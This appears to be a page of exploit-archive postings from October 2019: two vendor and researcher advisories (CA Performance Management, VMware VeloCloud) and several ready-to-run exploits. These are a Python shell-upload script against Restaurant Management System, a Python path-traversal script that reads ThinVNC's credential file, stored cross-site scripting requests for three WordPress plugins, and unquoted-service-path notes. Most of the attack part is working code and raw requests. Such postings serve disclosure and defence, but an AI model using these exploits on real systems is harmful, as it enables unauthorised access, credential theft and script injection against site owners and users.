CA Technologies, a Broadcom Company, is alerting customers to a potential risk with CA Performance Management. A vulnerability exists that can allow a remote attacker to execute arbitrary commands. CA published solutions to address the vulnerabilities and recommends that all affected customers implement these solutions. The vulnerability occurs due to default credentials and a configuration weakness. A malicious actor may use the default credentials and exploit a weakness in the configuration to execute arbitrary commands on the Performance Center server. CA Performance Management versions 3.7.x prior to 3.7.4, 3.6.x prior to 3.6.9, and 3.5.x are affected.

MD5 | 40cc0d6d35b9f640fb42753c9f62d043

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

CA20191015-01: Security Notice for CA Performance Management

Issued: October 15th, 2019
Last Updated: October 15th, 2019

CA Technologies, A Broadcom Company, is alerting customers to a
potential risk with CA Performance Management. A vulnerability exists
that can allow a remote attacker to execute arbitrary commands. CA
published solutions to address the vulnerabilities and recommends
that all affected customers implement these solutions.

The vulnerability, CVE-2019-13657, occurs due to default credentials
and a configuration weakness. A malicious actor may use the default
credentials and exploit a weakness in the configuration to execute
arbitrary commands on the Performance Center server.

Risk Rating

High

Platform(s)

All supported platforms

Affected Products

NetOps 19.1 and prior

Component Version(s) Affected:

CA Performance Management 3.7.x prior to 3.7.4
CA Performance Management 3.6.x prior to 3.6.9
CA Performance Management 3.5.x

How to determine if the installation is affected

Customers may use the product version to determine if their product
installation is affected.

Solution

CA Technologies published the following solutions to address the
vulnerabilities. Customers should also review Firewall and
Connectivity Considerations at
https://docops.ca.com/ca-performance-management/3-7/en
located under the Installing -> Review Installation Requirements and
Considerations section. As always we recommend that you follow good
password management for all passwords within the system.

CA Performance Management 3.7.x:
Update to Performance Management 3.7.4 or later.
Review the 3.7.x upgrade steps and MySQL password guidance located
at https://docops.ca.com/ca-performance-management/3-7/en under
the Upgrading -> Upgrade Performance Center section.

CA Performance Management 3.6.x:
Update to Performance Management 3.6.9 or later. Alternatively,
customers may update to 3.7.4 or later.
Review the 3.6.x upgrade steps and MySQL password guidance located
at https://docops.ca.com/ca-performance-management/3-6/en under
the Upgrading -> Upgrade Performance Center section.

CA Performance Management 3.5.x:
Update to Performance Management 3.7.4 or later.
Review the 3.7.x upgrade steps and MySQL password guidance located
at https://docops.ca.com/ca-performance-management/3-7/en under
the Upgrading -> Upgrade Performance Center section.
For explicit 3.5.x guidance on changing the password for MySQL,
review the steps located at
https://docops.ca.com/ca-performance-management/3-5/en under
the Upgrading -> Upgrade Performance Center section.

References

CVE-2019-13657 - Performance Management default credentials

Acknowledgement

CVE-2019-13657 - Hendrik Van Belleghem

Change History

Version 1.0: 2019-10-15 - Initial Release

CA customers may receive product alerts and advisories by subscribing
to Proactive Notifications on the support site.

Customers who require additional information about this notice may
contact CA Technologies Support at https://casupport.broadcom.com/

To report a suspected vulnerability in a CA Technologies product,
please send a summary to CA Technologies Product Vulnerability
Response at ca.psirt broadcom.com

Security Notices, PGP key, and disclosure policy and guidance
https://techdocs.broadcom.com/ca-psirt

Kevin Kotas
CA Product Security Incident Response Team

Copyright 2019 Broadcom. All Rights Reserved. The term "Broadcom"
refers to Broadcom Inc. and/or its subsidiaries. Broadcom, the pulse
logo, Connecting everything, CA Technologies and the CA technologies
logo are among the trademarks of Broadcom. All trademarks, trade
names, service marks and logos referenced herein belong to their
respective companies.

-----BEGIN PGP SIGNATURE-----
Charset: utf-8

wsBVAwUBXad/CLZ6yOO9o8STAQi/cwf/ckenS70yqt6n8L86aCsRl6x5kdN/ApMh
+VIYpv6zwQpVC29D92vYJT8YDGfNu105mk9u2vUok6lBhuOM5rH+thY4DQL9mybz
bu6dQfppkqTu+zcZF2aInBZskUSVOGMGYEyVq2y08NPG4vcbTrytWSc7bfgpleNP
+vDD528Cl5H61ftXV8V25Xg/Vy5ArSAqm4gHcChId84uHHU7jXNtPug8wDUdjJ4i
R9nGNBtmqJdJuPuj/FsTeCUt5U0R+3ghAo5Efaat5SzcNDd//hyBoLHFe43oJ42o
TAaUPBmkbq8xYnXc55cbWBUUdKk3gTK45jIuOAz7rDV8jDtf2CkHeg==
=6FMp
-----END PGP SIGNATURE-----

Source

Restaurant Management System version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 860b8ef78288e2ef9b65fb26b0908608

# Exploit Title: Restaurant Management System 1.0  - Remote Code Execution
# Date: 2019-10-16
# Exploit Author: Ibad Shah
# Vendor Homepage: https://www.sourcecodester.com/users/lewa
# Software Link: https://www.sourcecodester.com/php/11815/restaurant-management-system.html
# Version: N/A
# Tested on: Apache 2.4.41

#!/usr/bin/python

import requests
import sys

print ("""
_ _ _____ __ __ _____ ______ _ _ _
_| || |_| __ | / |/ ____| | ____| | | (_) |
|_ __ _| |__) | / | (___ | |__ __ ___ __ | | ___ _| |_
_| || |_| _ /| |/| |___ | __| / / '_ | |/ _ | | __|
|_ __ _| | | | | |____) | | |____ > <| |_) | | (_) | | |_
|_||_| |_| __| |_|_____/ |______/_/_ .__/|_|___/|_|__|
| |
|_|


""")
print ("Credits : All InfoSec (Raja Ji's) Group")
url = sys.argv[1]

if len(sys.argv[1]) < 8:
print("[+] Usage : python rms-rce.py http://localhost:80/")
exit()

print ("[+] Restaurant Management System Exploit, Uploading Shell")

target = url+"admin/foods-exec.php"



headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0)
Gecko/20100101 Firefox/69.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Length": "327",
"Content-Type": "multipart/form-data;
boundary=---------------------------191691572411478",
"Connection": "close",
"Referer": "http://localhost:8081/rms/admin/foods.php",
"Cookie": "PHPSESSID=4dmIn4q1pvs4b79",
"Upgrade-Insecure-Requests": "1"

}

data = """

-----------------------------191691572411478
Content-Disposition: form-data; name="photo"; filename="reverse-shell.php"
Content-Type: text/html


-----------------------------191691572411478
Content-Disposition: form-data; name="Submit"

Add
-----------------------------191691572411478--
"""
r = requests.post(target,verify=False, headers=headers,data=data,
proxies={"http":"http://127.0.0.1:8080"})


print("[+] Shell Uploaded. Please check the URL :
"+url+"images/reverse-shell.php")

Source

ThinVNC version 1.0b1 suffers from an authentication bypass vulnerability.

MD5 | bde2a87212d4b0d022fce330758a2cd9

# Exploit Title: ThinVNC 1.0b1 - Authentication Bypass
# Date: 2019-10-17
# Exploit Author: Nikhith Tumamlapalli
# Contributor WarMarX
# Vendor Homepage: https://sourceforge.net/projects/thinvnc/
# Software Link: https://sourceforge.net/projects/thinvnc/files/ThinVNC_1.0b1/ThinVNC_1.0b1.zip/download
# Version: 1.0b1
# Tested on: Windows All Platforms
# CVE : CVE-2019-17662

# Description:
# Authentication Bypass via Arbitrary File Read

#!/usr/bin/python3

import sys
import os
import requests

def exploit(host,port):
url = "http://" + host +":"+port+"/xyz/../../ThinVnc.ini"
r = requests.get(url)
body = r.text
print(body.splitlines()[2])
print(body.splitlines()[3])



def main():
if(len(sys.argv)!=3):
print("Usage:n{} n".format(sys.argv[0]))
print("Example:n{} 192.168.0.10 5888")
else:
port = sys.argv[2]
host = sys.argv[1]
exploit(host,port)

if __name__ == '__main__':
main()

Source

WordPress Popup Builder plugin version 3.49 suffers from a persistent cross site scripting vulnerability.

MD5 | a45af78799536e074914217ab02411a9

# Exploit Title: WordPress Popup Builder 3.49 - Persistent Cross-Site Scripting
# Google Dork: inurl:"wp-contentpluginspopupbuilder"
# Date: 2019-06-13
# Exploit Author: Unk9vvN
# Vendor Homepage: https://popup-builder.com/
# Software Link: https://wordpress.org/plugins/popup-builder/
# Version: 3.49
# Tested on: Kali Linux
# CVE: N/A


# Description
# This vulnerability is in the validation mode and is located in "Add Post" or "Add Page" of wordpress and the vulnerability type is stored ,after install Popup Builder it will make section in Add Post and Add Page . in this section you will choose which popup show it will create option tag with value of title of the popups, now its easy we just break option tag and insert our script tag inside popup title.

1.Go to the 'Add new' section of Popup Builder
2.Select Image type
3.Enter the payload in the "add Title"
4.Click the "Publish" option
5.Go to Add New of Page section or Add New of Post section
6.Your payload will run


# URI: http://localhost/wordpress/wp-admin/post-new.php?post_type=popupbuilder&sgpb_type=image&wp-post-new-reload=true
# Parameter & Payoad: post_title="/>alert("Unk9vvN")


#
# POC
#
POST /wordpress/wp-admin/post.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress/wp-admin/post.php?post=39&action=edit
Content-Type: application/x-www-form-urlencoded
Content-Length: 2425
Cookie: ......
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

_wpnonce=8dde4c5262&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fpost.php%3Fpost%3D39%26action%3Dedit%26message%3D1&user_ID=1&action=editpost&originalaction=editpost&post_author=1&post_type=popupbuilder&original_post_status=publish&referredby=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2Fpost.php%3Fpost%3D39%26action%3Dedit&_wp_original_http_referer=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2Fpost.php%3Fpost%3D39%26action%3Dedit&post_ID=39&meta-box-order-nonce=5e054a06d1&closedpostboxesnonce=03e898cf80&post_title=%22%2F%3E%3Cscript%3Ealert%28%22Unk9vvN%22%29%3C%2Fscript%3E&samplepermalinknonce=fc4f7ec2ab&wp-preview=&hidden_post_status=publish&post_status=publish&hidden_post_password=&hidden_post_visibility=public&visibility=public&post_password=&mm=09&jj=13&aa=2019&hh=15&mn=01&ss=34&hidden_mm=09&cur_mm=09&hidden_jj=13&cur_jj=13&hidden_aa=2019&cur_aa=2019&hidden_hh=15&cur_hh=15&hidden_mn=01&cur_mn=03&original_publish=Update&save=Update&tax_input%5Bpopup-categories%5D%5B%5D=0&newpopup-categories=New+Category+Name&newpopup-categories_parent=-1&_ajax_nonce-add-popup-categories=11ba2a6f5c&sgpb-image-url=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-content%2Fuploads%2F2019%2F09%2Fwp2601087.jpg&sgpb-target%5B0%5D%5B0%5D%5Bparam%5D=not_rule&sgpb-type=image&sgpb-is-preview=0&sgpb-is-active=checked&sgpb-events%5B0%5D%5B0%5D%5Bparam%5D=load&sgpb-events%5B0%5D%5B0%5D%5Bvalue%5D=&sgpb-behavior-after-special-events%5B0%5D%5B0%5D%5Bparam%5D=select_event&sgpb-popup-z-index=9999&sgpb-popup-themes=sgpb-theme-1&sgpb-overlay-custom-class=sgpb-popup-overlay&sgpb-overlay-color=&sgpb-overlay-opacity=0.8&sgpb-content-custom-class=sg-popup-content&sgpb-esc-key=on&sgpb-enable-close-button=on&sgpb-close-button-delay=0&sgpb-close-button-position=bottomRight&sgpb-button-position-top=&sgpb-button-position-right=9&sgpb-button-position-bottom=9&sgpb-button-position-left=&sgpb-button-image=&sgpb-button-image-width=21&sgpb-button-image-height=21&sgpb-border-color=%23000000&sgpb-border-radius=0&sgpb-border-radius-type=%25&sgpb-button-text=Close&sgpb-overlay-click=on&sgpb-popup-dimension-mode=responsiveMode&sgpb-responsive-dimension-measure=auto&sgpb-width=640px&sgpb-height=480px&sgpb-max-width=&sgpb-max-height=&sgpb-min-width=120&sgpb-min-height=&sgpb-open-animation-effect=No+effect&sgpb-close-animation-effect=No+effect&sgpb-enable-content-scrolling=on&sgpb-popup-order=0&sgpb-popup-delay=0&post_name=scriptalert1script

Source

VMware VeloCloud versions 3.3.0 and 3.2.2 suffer from an authorization bypass vulnerability.

MD5 | 12195b6551f517aa4bbe3b9c39469f0d

#############################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
#############################################################
#
# Product: VeloCloud
# Vendor: VMware
# CVE ID: CVE-2019-5533
# CSNC ID: CSNC-2019-007
# Subject: Authorization Bypass
# Risk: Moderate
# Effect: Remotely exploitable
# CVSS v3.1 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
# Author: Silas Bärtsch
# Date: 10.16.2019
#
#############################################################

Introduction:
-------------
VeloCloud [1], now part of VMware, is a SD-WAN market leader.
VMware SD-WAN by VeloCloud is a key component of the Virtual Cloud Network
and tightly integrated with NSX Data Center and NSX Cloud to enable customers
extend consistent networking and security policies from the data center
to the branch to the cloud. Compass Security [2] identified a vulnerability
that allows a VeloCloud standard admin user to access user information
of other VeloCloud customers.

Affected:
---------
Vulnerable:
3.3.0 and 3.2.2.

Not vulnerable:
3.3.1

No other version was tested, but it is believed for the older versions to be
vulnerable as well.

Technical Description
---------------------
The standard admin user uses the following HTTP request to retrieve
user information. The request contains the id parameter twice. The server
does not perform any authorization checks on this parameter. Changing
it will return the user details of the corresponding user, even if the
returned user details belong to other VeloCloud customers.

```
POST /portal/ HTTP/1.1
Host: vco109-usca1.velocloud.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://vco109-usca1.velocloud.net/
Content-Type: application/json
x-vco-privileges-version: 1560945325637
X-Requested-With: XMLHttpRequest
Content-Length: 90
Cookie: culture=en-US; velocloud.session=[CUT-BY-COMPASS]
Connection: close

{"jsonrpc":"2.0","method":"enterpriseUser/getEnterpriseUser","params":{"id":1},"id":1}
```

The following information is returned.
```
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 19 Jun 2019 13:02:11 GMT
Content-Type: application/json
Content-Length: 569
Connection: close
X-Powered-By: Express
Set-Cookie: velocloud.message=; Path=/; Expires=Thu, 01 Jan 1970 00:00:00 GMT
x-vco-privileges-version: 1560945325637
Cache-Control: no-cache,no-store,must-revalidate
Pragma: no-cache
Expires: 0
Strict-Transport-Security: max-age=31536000; includeSubdomains;
X-Frame-Options: SAMEORIGIN

{"jsonrpc":"2.0","result":
{
"id":[CUT-BY-COMPASS],
"created":"[CUT-BY-COMPASS]",
"userType":"[CUT-BY-COMPASS]",
"username":"[CUT-BY-COMPASS]",
"domain":[CUT-BY-COMPASS],
"password":"*****",
"firstName":[CUT-BY-COMPASS],
"lastName":[CUT-BY-COMPASS],
"officePhone":[CUT-BY-COMPASS],
"mobilePhone":[CUT-BY-COMPASS],
"email":"[CUT-BY-COMPASS]",
"isNative":[CUT-BY-COMPASS],
"isActive":[CUT-BY-COMPASS],
"isLocked":[CUT-BY-COMPASS],
"disableSecondFactor":[CUT-BY-COMPASS],
"lastLogin":"[CUT-BY-COMPASS]",
"modified":"[CUT-BY-COMPASS]",
"passwordModified":"[CUT-BY-COMPASS]",
"enterpriseId":[CUT-BY-COMPASS],
"enterpriseProxyId":[CUT-BY-COMPASS],
"roleId":[CUT-BY-COMPASS],
"roleName":"[CUT-BY-COMPASS]",
"networkId":[CUT-BY-COMPASS],
"isSuper":[CUT-BY-COMPASS]},
"id":[CUT-BY-COMPASS]
}
```

Workaround / Fix:
-----------------
Upgrade to VeloCloud 3.3.1, where the authorization checks are performed correctly.

Timeline:
---------
2019-10-16: Coordinated public disclosure date
2019-08-26: Assigned CVE-2019-5533
2019-08-21: Release of VeloCloud 3.3.1 which includes a fix for the vulnerability
2019-07-02: Initial vendor response
2019-07-01: Initial vendor notification
2019-06-27: Assigned CSNC-2019-007
2019-06-19: Discovery by Silas Bärtsch

References:
-----------
[1] https://www.velocloud.com
[2] https://compass-security.com

Source

WordPress Soliloquy Lite plugin version 2.5.6 suffers from a persistent cross site scripting vulnerability.

MD5 | f44eca6b3e589bd8c6db25f9b6f9eb86

# Exploit Title: WordPress Soliloquy Lite 2.5.6 - Persistent Cross-Site Scripting
# Google Dork: inurl:"wp-contentpluginssoliloquy-lite"
# Date: 2019-06-13
# Exploit Author: Unk9vvN
# Vendor Homepage: https://soliloquywp.com/
# Software Link: https://wordpress.org/plugins/soliloquy-lite/
# Version: 2.5.6
# Tested on: Kali Linux
# CVE: N/A


# Description
# This vulnerability is in the validation mode and is located in the Prevew of new post inside soliloquy and the vulnerability type is stored ,it happend when a user insert script tag in title input then save the post. everything will be ok until target click on preview of vulnerabil.

1.Go to the 'Add new' section of soliloquy
2.Enter the payload in the "add Title"
3.Select a sample image
4.Click the "Publish" option
5.Click on Preview
6.Your payload will run


# URI: http://localhost/wordpress/wp-admin/post.php?post=50&action=edit
# Parameter & Payoad: post_title=/">alert("Unk9vvN")


#
# POC
#
POST /wordpress/wp-admin/post.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress/wp-admin/post.php?post=50&action=edit
Content-Type: application/x-www-form-urlencoded
Content-Length: 1599
Cookie: .......
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

_wpnonce=d9f78b76e2&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fpost.php%3Fpost%3D50%26action%3Dedit%26message%3D6&user_ID=1&action=editpost&originalaction=editpost&post_author=1&post_type=soliloquy&original_post_status=publish&referredby=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2Fpost-new.php%3Fpost_type%3Dsoliloquy%26wp-post-new-reload%3Dtrue&_wp_original_http_referer=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2Fpost-new.php%3Fpost_type%3Dsoliloquy%26wp-post-new-reload%3Dtrue&post_ID=50&meta-box-order-nonce=5e054a06d1&closedpostboxesnonce=03e898cf80&post_title=%22%2F%3E%3Cscript%3Ealert%28%22Unk9vvN%22%29%3C%2Fscript%3E&samplepermalinknonce=fc4f7ec2ab&_soliloquy%5Btype%5D=default&async-upload=&post_id=50&soliloquy=bdfd10296c&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fpost.php%3Fpost%3D50%26action%3Dedit%26message%3D6&_soliloquy%5Btype_default%5D=1&_soliloquy%5Bslider_theme%5D=base&_soliloquy%5Bslider_width%5D=960&_soliloquy%5Bslider_height%5D=300&_soliloquy%5Btransition%5D=fade&_soliloquy%5Bduration%5D=5000&_soliloquy%5Bspeed%5D=400&_soliloquy%5Bgutter%5D=20&_soliloquy%5Bslider%5D=1&_soliloquy%5Baria_live%5D=polite&_soliloquy%5Btitle%5D=%2F%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&_soliloquy%5Bslug%5D=scriptalert1script&_soliloquy%5Bclasses%5D=&wp-preview=dopreview&hidden_post_status=publish&post_status=publish&hidden_post_password=&hidden_post_visibility=public&visibility=public&post_password=&mm=09&jj=13&aa=2019&hh=15&mn=21&ss=21&hidden_mm=09&cur_mm=09&hidden_jj=13&cur_jj=13&hidden_aa=2019&cur_aa=2019&hidden_hh=15&cur_hh=15&hidden_mn=21&cur_mn=21&original_publish=Update

Source

WordPress FooGallery plugin version 1.8.12 suffers from a persistent cross site scripting vulnerability.

MD5 | 677d436e1c2cb3cfb3dc6f9bbff3eddd

# Exploit Title: WordPress FooGallery 1.8.12 - Persistent Cross-Site Scripting
# Google Dork: inurl:"wp-contentpluginsfoogallery"
# Date: 2019-06-13
# Exploit Author: Unk9vvN
# Vendor Homepage: https://foo.gallery/
# Software Link: https://wordpress.org/plugins/foogallery/
# Version: 1.8.12
# Tested on: Kali Linux
# CVE: N/A


# Description
# This vulnerability is in the validation mode and is located in the plugin settings panel and the vulnerability type is stored ,it happend becuse in setting is an select tag ,this select tag have option with value of title gallerys so simply we just have to break option and write our script tag
the vulnerability parameters are as follows.

1.Go to the 'add Gallery' of FooGallery
2.Enter the payload in the "add Title"
3.Click the "Publish" option
4.Go to plugin setting of FooGallery
5.Your payload will run


# URI: http://localhost/wordpress/wp-admin/post-new.php?post_type=foogallery&wp-post-new-reload=true
# Parameter & Payoad: post_title="/>alert("Unk9vvn")


#
# POC
#
POST /wordpress/wp-admin/post.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress/wp-admin/post-new.php?post_type=foogallery&wp-post-new-reload=true
Content-Type: application/x-www-form-urlencoded
Content-Length: 2694
Cookie: ......
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

_wpnonce=933471aa43&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fpost-new.php%3Fpost_type%3Dfoogallery&user_ID=1&action=editpost&originalaction=editpost&post_author=1&post_type=foogallery&original_post_status=auto-draft&referredby=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2Fedit.php%3Fpost_type%3Dfoogallery%26ids%3D31&_wp_original_http_referer=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2Fedit.php%3Fpost_type%3Dfoogallery%26ids%3D31&auto_draft=&post_ID=32&meta-box-order-nonce=5e054a06d1&closedpostboxesnonce=03e898cf80&post_title=%22%2F%3E%3Cscript%3Ealert%28%22Unk9vvn%22%29%3C%2Fscript%3E&samplepermalinknonce=fc4f7ec2ab&hidden_post_status=draft&post_status=draft&hidden_post_password=&hidden_post_visibility=public&visibility=public&post_password=&mm=09&jj=13&aa=2019&hh=14&mn=42&ss=45&hidden_mm=09&cur_mm=09&hidden_jj=13&cur_jj=13&hidden_aa=2019&cur_aa=2019&hidden_hh=14&cur_hh=14&hidden_mn=42&cur_mn=42&original_publish=Publish&publish=Publish&foogallery_sort=&foogallery_clear_gallery_thumb_cache_nonce=e18d32a542&_thumbnail_id=-1&_foogallery_settings%5Bfoogallery_items_view%5D=manage&foogallery_nonce=b6066e6407&foogallery_attachments=&foogallery_preview=e35a011572&foogallery_template=default&_foogallery_settings%5Bdefault_thumbnail_dimensions%5D%5Bwidth%5D=150&_foogallery_settings%5Bdefault_thumbnail_dimensions%5D%5Bheight%5D=150&_foogallery_settings%5Bdefault_thumbnail_link%5D=image&_foogallery_settings%5Bdefault_lightbox%5D=none&_foogallery_settings%5Bdefault_spacing%5D=fg-gutter-10&_foogallery_settings%5Bdefault_alignment%5D=fg-center&_foogallery_settings%5Bdefault_theme%5D=fg-light&_foogallery_settings%5Bdefault_border_size%5D=fg-border-thin&_foogallery_settings%5Bdefault_rounded_corners%5D=&_foogallery_settings%5Bdefault_drop_shadow%5D=fg-shadow-outline&_foogallery_settings%5Bdefault_inner_shadow%5D=&_foogallery_settings%5Bdefault_loading_icon%5D=fg-loading-default&_foogallery_settings%5Bdefault_loaded_effect%5D=fg-loaded-fade-in&_foogallery_settings%5Bdefault_hover_effect_color%5D=&_foogallery_settings%5Bdefault_hover_effect_scale%5D=&_foogallery_settings%5Bdefault_hover_effect_caption_visibility%5D=fg-caption-hover&_foogallery_settings%5Bdefault_hover_effect_transition%5D=fg-hover-fade&_foogallery_settings%5Bdefault_hover_effect_icon%5D=fg-hover-zoom&_foogallery_settings%5Bdefault_caption_title_source%5D=&_foogallery_settings%5Bdefault_caption_desc_source%5D=&_foogallery_settings%5Bdefault_captions_limit_length%5D=&_foogallery_settings%5Bdefault_paging_type%5D=&_foogallery_settings%5Bdefault_custom_settings%5D=&_foogallery_settings%5Bdefault_custom_attributes%5D=&_foogallery_settings%5Bdefault_lazyload%5D=&post_name=&foogallery_custom_css=

Source

WorkgroupMail version 7.5.1 suffers from a WorkgroupMail unquoted service path vulnerability.

MD5 | a1d3f466391d651f25f2dd3a69ee3302

# Exploit Title : WorkgroupMail 7.5.1 - 'WorkgroupMail' Unquoted Serive Path
# Date : 2019-10-15
# Exploit Author : Cakes
# Vendor: Softalk
# Version : 7.5.1
# Software: http://html.tucows.com/preview/195580/WorkgroupMail-Mail-Server?q=pop3
# Tested on Windows 10
# CVE : N/A


c:>sc qc WorkgroupMail
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WorkgroupMail
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:Program Files (x86)WorkgroupMailwmsvc.exe -s
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : WorkgroupMail
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

Source

Web Companion version 5.1.1035.1047 suffers from a WCAssistantService unquoted service path vulnerability.

MD5 | 0fe04845b92aed952d373cedfbeacea0

# Exploit Title: Web Companion versions 5.1.1035.1047 - 'WCAssistantService' Unquoted Service Path
# Exploit Author: Debashis Pal
# Date: 2019-10-17
# Vendor Homepage : https://webcompanion.com
# Source: https://webcompanion.com
# Version: Web Companion versions 5.1.1035.1047
# CVE : N/A
# Tested on: Windows 7 SP1(64bit)

1. Description:
Web Companion versions 5.1.1035.1047 service 'WCAssistantService' have an unquoted service path.

2. PoC:

C:>sc qc WCAssistantService
sc qc WCAssistantService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WCAssistantService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:Program Files (x86)LavasoftWeb CompanionApplicationLavasoft.WCAssistant.WinService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : WC Assistant
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem


3. Exploit:
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot.
If successful, the local user's code would execute with the elevated privileges of the application.

# Disclaimer
=============
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information.
The author prohibits any malicious use of security related information or exploits by the author or elsewhere.

Source